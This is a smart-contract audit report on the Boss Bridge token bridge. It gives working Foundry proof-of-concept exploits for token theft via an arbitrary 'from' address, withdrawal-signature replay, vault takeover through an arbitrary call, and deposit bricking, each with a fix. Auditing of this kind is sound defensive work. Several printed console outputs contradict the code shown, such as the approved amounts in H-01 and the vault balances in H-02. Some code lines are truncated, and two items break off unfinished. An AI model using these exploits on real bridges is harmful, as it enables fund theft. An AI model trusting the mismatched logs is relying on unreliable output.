Boss Bridge Security Audit Report

Khant Wai Yan Aung (SnavOhBurmaa)

2, 5, 2026

Boss Bridge Security Audit Report
- Risk Classification
- Issues Found
- High
  - H-01 `depositTokensToL2` accepts any `from` address, any user's approved tokens can be taken, and the vault itself can be drained on L2
  - H-02 Withdrawal signatures can be replayed forever, the same `(v,r,s)` can drain the vault again and again
  - H-03 `sendToL1` lets an operator-signed message call any target with any calldata, full control of the vault
  - H-04 `TokenFactory.deployToken` uses `CREATE` with raw bytecode, does not work on zkSync Era
  - H-05 `TokenFactory.deployToken` locks the entire token supply inside the factory contract
  - H-06 Bridge can be broken forever by sending tokens straight to the vault
- Medium
  - M-01 Vault gives the bridge unlimited allowance, makes H-01 and H-03 worse
  - M-02 `setSigner` does not emit an event, signer set changes are invisible to monitoring
- Low
  - L-01 `DEPOSIT_LIMIT` is a public storage slot with no setter, should be `immutable`/`constant`
  - L-02 `depositTokensToL2` accepts `amount == 0` emits empty `Deposit` events
  - L-03 `TokenFactory.deployToken` does not check that `CREATE` worked
  - L-04 `L1Vault` constructor accepts `address(0)` token
- Informational
  - I-01 Missing or incomplete NatSpec on public functions
  - I-02 Magic number `100_000 ether` for the deposit limit
  - I-03 `TokenFactory.deployToken` overwrites old tokens with the same symbol
  - I-04 Test coverage is thin
- Gas
  - G-01 `DEPOSIT_LIMIT` SLOAD on every deposit
  - G-02 `token.balanceOf(address(vault))` is an external `STATICCALL` on every deposit

Boss Bridge Security Audit Report

Prepared by: Khant Wai Yan Aung (SnavOhBurmaa) (https://www.linkedin.com/in/khant-wai-yan-ohburmaa/)

Source Repo: https://github.com/Cyfrin/7-boss-bridge-audit **In scope:** `src/L1BossBridge.sol`, `src/L1Vault.sol`, `src/L1Token.sol`, `src/TokenFactory.sol` **Solc:** 0.8.20

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Issues Found

Severity	Count
High	6
Medium	2
Low	4
Informational	4
Gas	2
Total	**18**

High

H-01 `depositTokensToL2` accepts any `from` address, any user's approved tokens can be taken, and the vault itself can be drained on L2

File: `src/L1BossBridge.sol#L70-L78`

Description

```
function depositTokensToL2(address from, address l2Recipient,
uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT)
{
```

```
        revert L1BossBridge__DepositLimitReached();
    }
@>  token.safeTransferFrom(from, address(vault), amount);   //
`from` is set by the attacker
@>  emit Deposit(from, l2Recipient, amount);                //
`l2Recipient` is set by the attacker
}
```

`from` comes straight from the call data. The contract **never checks** that `msg.sender == from`. This causes two big problems:

1. Take any user's approved tokens. The bridge only works if users approve it first. As soon as a user approves the bridge for `X` tokens, **any attacker** can call `depositTokensToL2(victim, attacker, X)`. The victim's tokens get pulled into the vault, and the off-chain L2 service mints `X` to the attacker, because the `Deposit` event names the attacker as the L2 recipient.

2. Mint endless tokens on L2 by re-depositing the vault. In the constructor:

```
vault.approveTo(address(this), type(uint256).max);
```

So the **bridge has unlimited allowance over the vault**. That means an attacker can call:

```
tokenBridge.depositTokensToL2(address(vault), attacker, amount);
```

This runs `token.safeTransferFrom(vault, vault, amount)`. The vault's balance does not change, but a `Deposit(vault, attacker, amount)` event is fired. The off-chain service sees the event and mints `amount` to the attacker on L2. The attacker can repeat this every block. The L2 supply is no longer backed 1:1 by L1 tokens.

Risk

- **Impact:** High - the main idea of the bridge (1 L1 token = 1 L2 token) is broken. L2 supply can be inflated as much as the attacker wants, and any user with a non-zero allowance is at risk.
- **Likelihood:** High - anyone can call `depositTokensToL2`. The attack only costs gas.

Proof of Concept

```
function testCanStealApprovedTokens() public {
    console2.log("=== H-01: Steal approved tokens ===");
    // user has 1000 tokens and approves the bridge for 10
    vm.startPrank(user);
    uint256 approvedAmount = 10e18;
    token.approve(address(tokenBridge), approvedAmount);
    vm.stopPrank();
    console2.log("user approved bridge for:       ",
approvedAmount);
    console2.log("user balance before:            ",
token.balanceOf(user));
    console2.log("vault balance before:           ",
token.balanceOf(address(vault)));
```

```
    // attacker takes the approved tokens and points the L2 mint
at themselves
    address attacker = makeAddr("attacker");
    address attackerOnL2 = makeAddr("attackerL2");

    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerOnL2, approvedAmount);

    vm.prank(attacker);
    tokenBridge.depositTokensToL2(user, attackerOnL2,
approvedAmount);

    console2.log("user balance after attack:       ",
token.balanceOf(user));
    console2.log("vault balance after attack:      ",
token.balanceOf(address(vault)));
    console2.log("--> L2 mint will go to attacker: ",
attackerOnL2);

    assertEq(token.balanceOf(address(vault)), approvedAmount);
    // off-chain L2 service will now mint `approvedAmount` to
`attackerOnL2`
}

function testCanInfiniteMintOnL2FromVault() public {
    console2.log("=== H-01: Infinite mint on L2 from vault ===");
    // first, anyone deposits something so the vault has a balance
    vm.startPrank(user);
    token.approve(address(tokenBridge), 50e18);
    tokenBridge.depositTokensToL2(user, userInL2, 50e18);
    vm.stopPrank();

    // attacker re-deposits the vault's own balance, naming
themselves on L2
    address attacker = makeAddr("attacker");
    address attackerOnL2 = makeAddr("attackerL2");
    uint256 vaultBal = token.balanceOf(address(vault));
    console2.log("vault balance (seed deposit):    ", vaultBal);

    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), attackerOnL2, vaultBal);

    vm.prank(attacker);
    tokenBridge.depositTokensToL2(address(vault), attackerOnL2,
vaultBal);

    console2.log("vault balance after re-deposit:  ",
token.balanceOf(address(vault)));
    console2.log("--> off-chain L2 mints to attacker for vault's
full balance");
    // vault still has the same balance (transferFrom vault ->
vault is a no-op)
    // but the off-chain service will mint `vaultBal` to
```

```
attackerOnL2
    assertEq(token.balanceOf(address(vault)), vaultBal);
}
```

Console output (`forge test --match-contract AuditPoCs -vv`)

```
[PASS] testCanStealApprovedTokens()
Logs:
  === H-01: Steal approved tokens ===
  user approved bridge for:         100000000000000000
  user balance before:              1000000000000000000
  vault balance before:             0
  user balance after attack:        990000000000000000
  vault balance after attack:       100000000000000000
  --> L2 mint will go to attacker:
0xBECe642AE8129eDf91F1e92A48D5B7F092f5806a

[PASS] testCanInfiniteMintOnL2FromVault()
Logs:
  === H-01: Infinite mint on L2 from vault ===
  vault balance (seed deposit):     500000000000000000
  vault balance after re-deposit:   500000000000000000
  --> off-chain L2 mints to attacker for vault's full balance
```

Recommended Mitigation

Tie the deposit to `msg.sender`:

```
-function depositTokensToL2(address from, address l2Recipient,
        uint256 amount) external whenNotPaused {
+function depositTokensToL2(address l2Recipient, uint256 amount)
        external whenNotPaused {
     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT)
        {
         revert L1BossBridge__DepositLimitReached();
     }
-    token.safeTransferFrom(from, address(vault), amount);
-    emit Deposit(from, l2Recipient, amount);
+    token.safeTransferFrom(msg.sender, address(vault), amount);
+    emit Deposit(msg.sender, l2Recipient, amount);
 }
```

Also block `address(vault)` and `address(this)` as `from`/`l2Recipient` so no one can use them for self-deposit tricks if the API changes later.

H-02 Withdrawal signatures can be replayed forever, the same `(v,r,s)` can drain the vault again and again

File: `src/L1BossBridge.sol#L91-L125`

Description

```
function withdrawTokensToL1(address to, uint256 amount, uint8 v,
bytes32 r, bytes32 s) external {
    sendToL1(
        v, r, s,
        abi.encode(
            address(token),
            0,
            abi.encodeCall(IERC20.transferFrom, (address(vault),
to, amount))
        )
    );
}

function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
message) public nonReentrant whenNotPaused {
@>  address signer =
ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(mes
v, r, s);
    if (!signers[signer]) revert L1BossBridge__Unauthorized();
    (address target, uint256 value, bytes memory data) =
abi.decode(message, (address, uint256, bytes));
    (bool success,) = target.call{ value: value }(data);
    if (!success) revert L1BossBridge__CallFailed();
}
```

The signed message is only `(target, value, data)`. It does not contain: a nonce, a deadline / expiry, a withdrawal id, a chain id / EIP-712 domain, a per-user counter.

So once a signer signs a withdrawal of `amount` to `to`, anyone with that signature can call `withdrawTokensToL1(to, amount, v, r, s)` again, again, and again until the vault is empty. Every real withdrawal becomes a re-usable check.

The same problem also lets an attacker replay the same withdrawal on other deployments (no chain id binding) or on an upgraded contract that uses the same signer set.

Risk

- **Impact:** High — the vault can be fully drained. The bridge's only access check is broken as soon as one valid withdrawal is posted on chain.
- **Likelihood:** High — one withdrawal that lands on chain (`v,r,s` is public) is enough. No private data is needed.

Proof of Concept

```
function testWithdrawalSignatureCanBeReplayed() public {
    console2.log("=== H-02: Withdrawal signature replay ===");
    // operator legitimately signs a 10e18 withdrawal for `user`
    vm.startPrank(user);
    uint256 amount = 10e18;
    token.approve(address(tokenBridge), amount);
    tokenBridge.depositTokensToL2(user, userInL2, amount);
    vm.stopPrank();

    // top up the vault so the replays have something to drain
```

```
    deal(address(token), address(vault), 100e18);
    console2.log("vault balance before replay:     ",
token.balanceOf(address(vault)));
    console2.log("user balance before replay:      ",
token.balanceOf(user));

    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(user, amount),
operator.key);

    // replay the same signature 5 times -> 50e18 leaves the vault
    for (uint256 i; i < 5; ++i) {
        tokenBridge.withdrawTokensToL1(user, amount, v, r, s);
        console2.log("replay #", i + 1, " vault balance now:",
token.balanceOf(address(vault)));
    }
    console2.log("user balance after 5 replays:    ",
token.balanceOf(user));
    assertEq(token.balanceOf(user), 1000e18 - amount + 5 *
amount);
}
```

Console output

```
[PASS] testWithdrawalSignatureCanBeReplayed()
Logs:
  === H-02: Withdrawal signature replay ===
  vault balance before replay:      10000000000000000000
  user balance before replay:       99000000000000000000
  replay # 1  vault balance now: 90000000000000000000
  replay # 2  vault balance now: 80000000000000000000
  replay # 3  vault balance now: 70000000000000000000
  replay # 4  vault balance now: 60000000000000000000
  replay # 5  vault balance now: 50000000000000000000
  user balance after 5 replays:     104000000000000000000
```

Recommended Mitigation

Use EIP-712 typed signatures with a per-user (or per-withdrawal-id) nonce and a `deadline`:

```
+bytes32 private constant WITHDRAW_TYPEHASH =
+    keccak256("Withdraw(address to,uint256 amount,uint256
        nonce,uint256 deadline)");
+mapping(address => uint256) public nonces;

 function withdrawTokensToL1(
     address to, uint256 amount, uint256 deadline, uint8 v,
        bytes32 r, bytes32 s
 ) external whenNotPaused {
+    require(block.timestamp <= deadline, "expired");
+    bytes32 structHash = keccak256(abi.encode(
+        WITHDRAW_TYPEHASH, to, amount, nonces[to]++, deadline
+    ));
```

```
+    bytes32 digest = _hashTypedDataV4(structHash);
+    address signer = ECDSA.recover(digest, v, r, s);
+    if (!signers[signer]) revert L1BossBridge__Unauthorized();
+    token.safeTransferFrom(address(vault), to, amount);
 }
```

Also include `block.chainid` and `address(this)` in the signed data so signatures can't be reused on other chains or on an upgraded contract. And remove the public `sendToL1`

H-03 `sendToL1` lets an operator-signed message call any target with any calldata, full control of the vault

File: `src/L1BossBridge.sol#L112-L125`

Description

```
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
message) public nonReentrant whenNotPaused {
    address signer =
ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(mes
v, r, s);
    if (!signers[signer]) revert L1BossBridge__Unauthorized();
@>  (address target, uint256 value, bytes memory data) =
abi.decode(message, (address, uint256, bytes));
@>  (bool success,) = target.call{ value: value }(data);
    if (!success) revert L1BossBridge__CallFailed();
}
```

The contract treats any signature from any operator as a green light to make any external call from the bridge's address. The bridge owns `L1Vault`, so this call can:

- call `vault.approveTo(attacker, type(uint256).max)` so the attacker can drain the vault directly with `transferFrom`;
- call any function that allows `address(this)` as caller (for example, transferring out leftover ETH);
- change signers via the vault if the vault ever gets governance functions later;
- be combined with H-02 (replay) so even one signed message becomes a permanent backdoor.

The damage is far bigger than just "process a withdrawal." A bad operator, a leaked key, or an operator tricked into signing raw bytes is the same as full loss.

Risk

- **Impact:** High — one signature can take the whole vault and any other rights the bridge has.
- **Likelihood:** Medium — needs (a) a bad operator, (b) a leaked operator key, or (c) an operator tricked into signing raw bytes. Because the signed data is `keccak256(rawBytes)` with no human-readable form, (c) is realistic.

Proof of Concept

```
function testOperatorSignatureCanRedirectVaultApproval() public {
    console2.log("=== H-03: Arbitrary call via sendToL1 ===");
    address attacker = makeAddr("attacker");
    deal(address(token), address(vault), 500e18);
    console2.log("vault balance before exploit:    ",
token.balanceOf(address(vault)));
    console2.log("attacker balance before exploit: ",
token.balanceOf(attacker));

    // build a payload that makes the bridge call
vault.approveTo(attacker, max)
    bytes memory innerCall =
        abi.encodeCall(L1Vault.approveTo, (attacker,
type(uint256).max));
    bytes memory message = abi.encode(address(vault), uint256(0),
innerCall);

    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    console2.log("after sendToL1, attacker allowance over
vault:");
    console2.log(" ", token.allowance(address(vault), attacker));

    // attacker can now empty the vault directly
    vm.prank(attacker);
    IERC20(token).transferFrom(address(vault), attacker, 500e18);
    console2.log("vault balance after exploit:     ",
token.balanceOf(address(vault)));
    console2.log("attacker balance after exploit:  ",
token.balanceOf(attacker));
    assertEq(token.balanceOf(attacker), 500e18);
}
```

Console output

```
[PASS] testOperatorSignatureCanRedirectVaultApproval()
Logs:
  === H-03: Arbitrary call via sendToL1 ===
  vault balance before exploit:     500000000000000000000
  attacker balance before exploit:  0
  after sendToL1, attacker allowance over vault:

1157920892373161954235709850086879078532699846656405640394575840079
  vault balance after exploit:      0
  attacker balance after exploit:   500000000000000000000
```

Recommended Mitigation

Do not expose a generic `sendToL1`. Replace it with a typed function that only allows withdrawals:

```
-function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
        message) public nonReentrant whenNotPaused { ... }
-
-function withdrawTokensToL1(address to, uint256 amount, uint8 v,
        bytes32 r, bytes32 s) external {
-    sendToL1(v, r, s, abi.encode(address(token), 0,
        abi.encodeCall(IERC20.transferFrom, (address(vault), to,
        amount))));
-}
+function withdrawTokensToL1(
+    address to, uint256 amount, uint256 deadline, uint8 v,
        bytes32 r, bytes32 s
+) external nonReentrant whenNotPaused {
+    // EIP-712 hash over (to, amount, nonce, deadline, chainid,
        address(this))
+    address signer = ECDSA.recover(_digest(to, amount, deadline),
        v, r, s);
+    if (!signers[signer]) revert L1BossBridge__Unauthorized();
+    require(block.timestamp <= deadline, "expired");
+    token.safeTransferFrom(address(vault), to, amount);
+}
```

If a generic relay must stay, only allow `target = address(token)` and only allow the `transferFrom` selector in `data`.

H-04 `TokenFactory.deployToken` uses `CREATE` with raw bytecode, does not work on zkSync Era

File: `src/TokenFactory.sol#L23-L29`

Description

```
function deployToken(string memory symbol, bytes memory
contractBytecode) public onlyOwner returns (address addr) {
    assembly {
@>      addr := create(0, add(contractBytecode, 0x20),
mload(contractBytecode))
    }
    s_tokenToAddress[symbol] = addr;
    emit TokenDeployed(symbol, addr);
}
```

The README clearly says zkSync Era is a target chain for `TokenFactory.sol`. zkSync Era does note support deploying a contract from raw EVM bytecode using `CREATE` / `CREATE2`. zkSync's compiler builds a different output (a "factory dependency" hash + zkEVM bytecode), and `CREATE` on zkSync needs the contract code hash to be published in advance through a system call. Passing random `bytes` to `CREATE` will revert (or, in some tool versions, silently return `address(0)`).

This means `TokenFactory` is broken on the only L2 it is supposed to ship on. Address mapping made through this code path on zkSync will not work.

Risk

- **Impact:** High — the main job of the contract does not work on the chosen target chain. New tokens cannot be added on zkSync.
- **Likelihood:** High — happens on the first deploy attempt on zkSync.

Recommended Mitigation

Make the factory deploy a known contract using Solidity `new`, so the compiler and tooling can publish the bytecode hash properly:

```
-function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr)
        {
-    assembly {
-        addr := create(0, add(contractBytecode, 0x20),
        mload(contractBytecode))
-    }
-    s_tokenToAddress[symbol] = addr;
-    emit TokenDeployed(symbol, addr);
-}
+function deployToken(string memory name_, string memory symbol_,
        uint256 initialSupply)
+    public onlyOwner returns (address addr)
+{
+    addr = address(new L1Token(name_, symbol_, initialSupply,
        msg.sender));
+    require(addr != address(0), "create failed");
+    require(s_tokenToAddress[symbol_] == address(0), "symbol
        taken");
+    s_tokenToAddress[symbol_] = addr;
+    emit TokenDeployed(symbol_, addr);
+}
```

If user-supplied bytecode is required, deploy only on Ethereum Mainnet, and use a different factory pattern on zkSync (for example, build a factory dependency at compile time)

H-05 `TokenFactory.deployToken` locks the entire token supply inside the factory contract

Files: `src/TokenFactory.sol#L23-L29`, `src/L1Token.sol#L9-L11`

Description

`L1Token`'s constructor mints the full supply to `msg.sender`:

```
constructor() ERC20("BossBridgeToken", "BBT") {
    _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
}
```

When `TokenFactory.deployToken` runs the `CREATE` opcode with `L1Token` bytecode, the value of `msg.sender` inside the new token's constructor is the factory contract, not the factory owner. So all 1,000,000 tokens are minted to the factory's own address.

```
function deployToken(string memory symbol, bytes memory
contractBytecode) public onlyOwner returns (address addr) {
    assembly {
@>      addr := create(0, add(contractBytecode, 0x20),
mload(contractBytecode))   // msg.sender inside = address(factory)
    }
    s_tokenToAddress[symbol] = addr;
    emit TokenDeployed(symbol, addr);
}
```

The factory has no `transfer`, `sweep`, `withdraw`, or any other function that lets it move ERC20 tokens out. There is no `onlyOwner` rescue path either. So the entire supply of every token deployed through this factory is stuck inside the factory address forever. No user, owner, or admin can ever spend it.

This is a logic bug that exists on every chain

Risk

- **Impact:** High - every token deployed through this path is dead on arrival. The bridge has no funds to use, and the supply cannot be recovered.
- **Likelihood:** High - happens on every call to `deployToken` with the in scope `L1Token` bytecode.

Proof of Concept

```
function testDeployedTokenSupplyIsLockedInFactory() public {
    console2.log("=== H-05: TokenFactory locks the entire token
supply ===");
    address factoryOwner = makeAddr("factoryOwner");
    vm.prank(factoryOwner);
    TokenFactory factory = new TokenFactory();

    vm.prank(factoryOwner);
    address deployed = factory.deployToken("BBT",
type(L1Token).creationCode);

    L1Token deployedToken = L1Token(deployed);
    uint256 totalSupply = deployedToken.totalSupply();

    console2.log("factory owner:                  ",
factoryOwner);
    console2.log("factory address:                ",
address(factory));
    console2.log("deployed token:                 ", deployed);
    console2.log("total supply minted:            ",
totalSupply);
    console2.log("balance held by factory owner:  ",
deployedToken.balanceOf(factoryOwner));
    console2.log("balance held by factory contract:",
```

```
deployedToken.balanceOf(address(factory)));
    console2.log("--> factory has no transfer/sweep function:
tokens stuck forever");

    assertEq(deployedToken.balanceOf(factoryOwner), 0);
    assertEq(deployedToken.balanceOf(address(factory)),
totalSupply);
}
```

Console output

```
[PASS] testDeployedTokenSupplyIsLockedInFactory()
Logs:
  === H-05: TokenFactory locks the entire token supply ===
  factory owner:
0xc15Fe71B1E2366be2dF8948EfE6B98b68204672f
  factory address:
0x68b1159Dae4059D4462FC9721D123614854753E6
  deployed token:
0x9490677847Bb2f6833518b1a77c593935a83ca4D
  total supply minted:              1000000000000000000000000
  balance held by factory owner:    0
  balance held by factory contract: 1000000000000000000000000
  --> factory has no transfer/sweep function: tokens stuck forever
```

Recommended Mitigation

Pick one of these two options:

1. **Have the factory transfer the supply to the caller right after deploy** (works because `L1Token` is a normal ERC20):

```
 function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr)
        {
     assembly {
         addr := create(0, add(contractBytecode, 0x20),
        mload(contractBytecode))
     }
+    require(addr != address(0), "deploy failed");
+    uint256 bal = IERC20(addr).balanceOf(address(this));
+    if (bal > 0) IERC20(addr).transfer(msg.sender, bal);
     s_tokenToAddress[symbol] = addr;
     emit TokenDeployed(symbol, addr);
 }
```

1. **Take a `mintTo` parameter in `L1Token` and use Solidity `new`**, so the supply goes straight to the right account (this also fixes H-04):

```
-contract L1Token is ERC20 {
-    uint256 private constant INITIAL_SUPPLY = 1_000_000;
-    constructor() ERC20("BossBridgeToken", "BBT") {
-        _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
-    }
-}
```

```
+contract L1Token is ERC20 {
+    uint256 private constant INITIAL_SUPPLY = 1_000_000;
+    constructor(address mintTo) ERC20("BossBridgeToken", "BBT") {
+        _mint(mintTo, INITIAL_SUPPLY * 10 ** decimals());
+    }
+}

-function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr)
        {
-    assembly { addr := create(0, add(contractBytecode, 0x20),
        mload(contractBytecode)) }
-    s_tokenToAddress[symbol] = addr;
-    emit TokenDeployed(symbol, addr);
-}
+function deployToken(string memory symbol_) public onlyOwner
        returns (address addr) {
+    addr = address(new L1Token(msg.sender));
+    require(s_tokenToAddress[symbol_] == address(0), "symbol
        taken");
+    s_tokenToAddress[symbol_] = addr;
+    emit TokenDeployed(symbol_, addr);
+}
```

H-06 Bridge can be broken forever by sending tokens straight to the vault

File: `src/L1BossBridge.sol#L70-L78`

Description

```
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
    revert L1BossBridge__DepositLimitReached();
}
```

The deposit cap is checked against `vault.balance + amount`, not against a counter that tracks "tokens deposited through the bridge". The vault's address is public, and `L1Token` is a normal ERC20, anyone can call `token.transfer(address(vault), 1 wei)` (or any amount) directly. Once the vault's raw balance is above `DEPOSIT_LIMIT`, every following `depositTokensToL2` call reverts for everyone.

Cost of the attack: 1 wei of the bridge token plus gas. Damage: the bridge takes no more deposits until governance unwinds the vault (which itself needs a signed `sendToL1` call see H-03).

Risk

- **Impact:** High — full deposit-side DoS of the bridge. Users cannot move funds to L2.

- **Likelihood:** Medium — needs an attacker with a small amount of the token, and is most useful when the vault is close to the cap (the attacker only needs `DEPOSIT_LIMIT - currentVault + 1` to brick the bridge).

Proof of Concept

```
function testGriefDepositsByPushingVaultPastLimit() public {
    console2.log("=== H-06: Grief deposits past DEPOSIT_LIMIT
===");
    address griefer = makeAddr("griefer");
    deal(address(token), griefer, 100_000 ether);
    console2.log("DEPOSIT_LIMIT:                    ",
tokenBridge.DEPOSIT_LIMIT());
    console2.log("vault balance before grief:      ",
token.balanceOf(address(vault)));

    vm.prank(griefer);
    token.transfer(address(vault), 100_000 ether);   // raw
transfer, not via deposit
    console2.log("vault balance after raw transfer:",
token.balanceOf(address(vault)));

    // any honest user now reverts
    vm.startPrank(user);
    token.approve(address(tokenBridge), 1);

vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.sele
    tokenBridge.depositTokensToL2(user, userInL2, 1);
    console2.log("--> honest 1-wei deposit reverts: bridge
bricked");
}
```

Console output

```
[PASS] testGriefDepositsByPushingVaultPastLimit()
Logs:
  === H-06: Grief deposits past DEPOSIT_LIMIT ===
  DEPOSIT_LIMIT:                    100000000000000000000000
  vault balance before grief:       0
  vault balance after raw transfer: 100000000000000000000000
  --> honest 1-wei deposit reverts: bridge bricked
```

Recommended Mitigation

Track total deposits with a storage counter and check that, instead of reading the vault balance:

```
+uint256 public totalDeposited;

 function depositTokensToL2(...) external whenNotPaused {
-    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT)
        revert ...;
+    if (totalDeposited + amount > DEPOSIT_LIMIT) revert
        L1BossBridge__DepositLimitReached();
+    totalDeposited += amount;
```

```
        token.safeTransferFrom(msg.sender, address(vault), amount);
        emit Deposit(msg.sender, l2Recipient, amount);
    }
```

When a withdrawal happens, lower `totalDeposited` by the same amount.

Medium

M-01 Vault gives the bridge unlimited allowance, makes H-01 and H-03 worse

Files: `src/L1BossBridge.sol#L42-L47`, `src/L1Vault.sol#L19-L21`

Description

```
// L1BossBridge constructor
vault.approveTo(address(this), type(uint256).max);
```

The bridge has unlimited allowance over the vault for its whole life. This is used so `withdrawTokensToL1` can call `IERC20.transferFrom(vault, to, amount)`. But it also means the bridge's address can be tricked into pulling vault funds for any reason. The `from = vault` attack in H-01 uses this allowance directly, and the arbitrary-call attack in H-03 lets an attacker change the `target`/`spender` of that allowance.

A safer design would not keep a permanent unlimited allowance. It would either pull the exact amount at withdrawal time, or use a vault function that takes the parameters directly.

Risk

- **Impact:** Medium — by itself this is just a design choice, but it makes H-01 and H-03 much worse.
- **Likelihood:** N/A (only a problem when paired with another bug).

Recommended Mitigation

Replace `approveTo` with a vault function that does the exact transfer:

```
 // L1Vault.sol
-function approveTo(address target, uint256 amount) external
        onlyOwner {
-    token.approve(target, amount);
-}
+function withdraw(address to, uint256 amount) external onlyOwner
        {
+    token.safeTransfer(to, amount);
+}

 // L1BossBridge constructor — drop this line entirely
-vault.approveTo(address(this), type(uint256).max);
```

```
 // L1BossBridge withdrawal path
-IERC20.transferFrom(vault, to, amount)
+L1Vault(vault).withdraw(to, amount)
```

M-02 `setSigner` does not emit an event, signer set changes are invisible to monitoring

File: `src/L1BossBridge.sol#L57-L59`

Description

```
function setSigner(address account, bool enabled) external
onlyOwner {
    signers[account] = enabled;
}
```

The signer set is the **only** access control the bridge has (H-02 / H-03). Any change to it should be visible on chain to indexers, monitoring tools, and incident response. Right now, if the owner key is stolen and a bad signer is added quietly, no one can see it. The only way to find out is to check `signers[]` against every old address.

Risk

- **Impact:** Medium — silent signer changes; makes incident response much harder.
- **Likelihood:** N/A (operational hygiene).

Recommended Mitigation

```
+event SignerUpdated(address indexed account, bool enabled);

 function setSigner(address account, bool enabled) external
        onlyOwner {
+    require(account != address(0), "zero signer");
     signers[account] = enabled;
+    emit SignerUpdated(account, enabled);
 }
```

Low

L-01 `DEPOSIT_LIMIT` is a public storage slot with no setter, should be `immutable`/`constant`

File: `src/L1BossBridge.sol#L30`

Description

```
uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

`DEPOSIT_LIMIT` is set once and never changed anywhere in the contract. Storing it in a normal slot wastes gas on every `depositTokensToL2` call (one SLOAD), and makes readers think the value can change, but it cannot.

Risk

- **Impact:** Low — gas cost and reader confusion
- **Likelihood:** N/A

Recommended Mitigation

```
-uint256 public DEPOSIT_LIMIT = 100_000 ether;
+uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

If governance is supposed to change it, add a real `setDepositLimit(uint256)` `onlyOwner` function and emit an event.

L-02 `depositTokensToL2` accepts `amount == 0` emits empty `Deposit` events

File: `src/L1BossBridge.sol#L70-L78`

Description

There is no `amount > 0` check. An attacker can spam zero-value deposits to flood the off-chain L2 minting service and any indexer / monitoring tool that reads `Deposit`. Zero-value `safeTransferFrom` is a valid no-op for ERC20 (and for `L1Token`), so this is basically free for the attacker.

Risk

- **Impact:** Low — small grief / log spam.
- **Likelihood:** Medium.

Recommended Mitigation

```
+error L1BossBridge__ZeroAmount();
 function depositTokensToL2(address l2Recipient, uint256 amount)
         external whenNotPaused {
+    if (amount == 0) revert L1BossBridge__ZeroAmount();
     ...
 }
```

L-03 `TokenFactory.deployToken` does not check that `CREATE` worked

File: `src/TokenFactory.sol#L23-L29`

Description

```
assembly {
    addr := create(0, add(contractBytecode, 0x20),
```

```
mload(contractBytecode))
}
s_tokenToAddress[symbol] = addr;
emit TokenDeployed(symbol, addr);
```

`CREATE` returns `address(0)` on failure (out of gas, revert during constructor, illegal opcode). The factory writes that zero into the symbol map and emits `TokenDeployed(symbol, 0x0)`, which downstream tools will read as a successful deploy.

Risk

- **Impact:** Low — corrupts factory state.
- **Likelihood:** Medium — every failed deploy hits this.

Recommended Mitigation

```
 assembly {
     addr := create(0, add(contractBytecode, 0x20),
        mload(contractBytecode))
 }
+require(addr != address(0), "deploy failed");
 s_tokenToAddress[symbol] = addr;
```

Also check that `s_tokenToAddress[symbol]` is empty before assigning, to stop silent overwrite (I-03)

L-04 `L1Vault` constructor accepts `address(0)` token

File: `src/L1Vault.sol#L15-L17`

Description

```
constructor(IERC20 _token) Ownable(msg.sender) {
    token = _token;
}
```

A bad deploy script (for example, a typo) sets `token = address(0)` and the vault gets stuck: `approveTo` will revert with no clear reason, because there is no ERC20 at the zero address. Cheap to fix.

Risk

- **Impact:** Low — deploy-time mistake, fixable by redeploying.
- **Likelihood:** Low.

Recommended Mitigation

```
+error L1Vault__ZeroToken();
 constructor(IERC20 _token) Ownable(msg.sender) {
+    if (address(_token) == address(0)) revert
        L1Vault__ZeroToken();
```

```
        token = _token;
    }
```

The README says: *"We are missing some zero address checks/input validation intentionally to save gas."* That argument does not apply here, this check runs only once, at deploy time.

Informational

I-01 Missing or incomplete NatSpec on public functions

Files: `src/L1BossBridge.sol`, `src/L1Vault.sol`, `src/TokenFactory.sol`

I-02 Magic number `100_000 ether` for the deposit limit

File: `src/L1BossBridge.sol#L30`

The README says *"We have magic numbers defined as literals that should be constants."* change this one (and any other) into a named constant.

```
-uint256 public DEPOSIT_LIMIT = 100_000 ether;
+uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

I-03 `TokenFactory.deployToken` overwrites old tokens with the same symbol

File: `src/TokenFactory.sol#L23-L29`

If `deployToken("USDC", ...)` is called twice, the second call quietly overwrites the first. There is no `getAllTokens()` view, so the first deploy can no longer be found through the factory.

Recommended Mitigation

```
+error TokenFactory__SymbolExists(string symbol);
 function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr)
        {
+    if (s_tokenToAddress[symbol] != address(0)) revert
        TokenFactory__SymbolExists(symbol);
     ...
 }
```

I-04 Test coverage is thin

File: `test/L1TokenBridge.t.sol`

The current tests cover happy-path deposit + withdraw and a few owner-only checks. There are no tests for:

Gas

G-01 `DEPOSIT_LIMIT` SLOAD on every deposit

See L-01, marking the variable `constant` saves one SLOAD per deposit (~2100 gas cold, ~100 gas warm).

```
-uint256 public DEPOSIT_LIMIT = 100_000 ether;
+uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

G-02 `token.balanceOf(address(vault))` is an external `STATICCALL` on every deposit

File: `src/L1BossBridge.sol#L71`

```
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT)
{ ... }
```

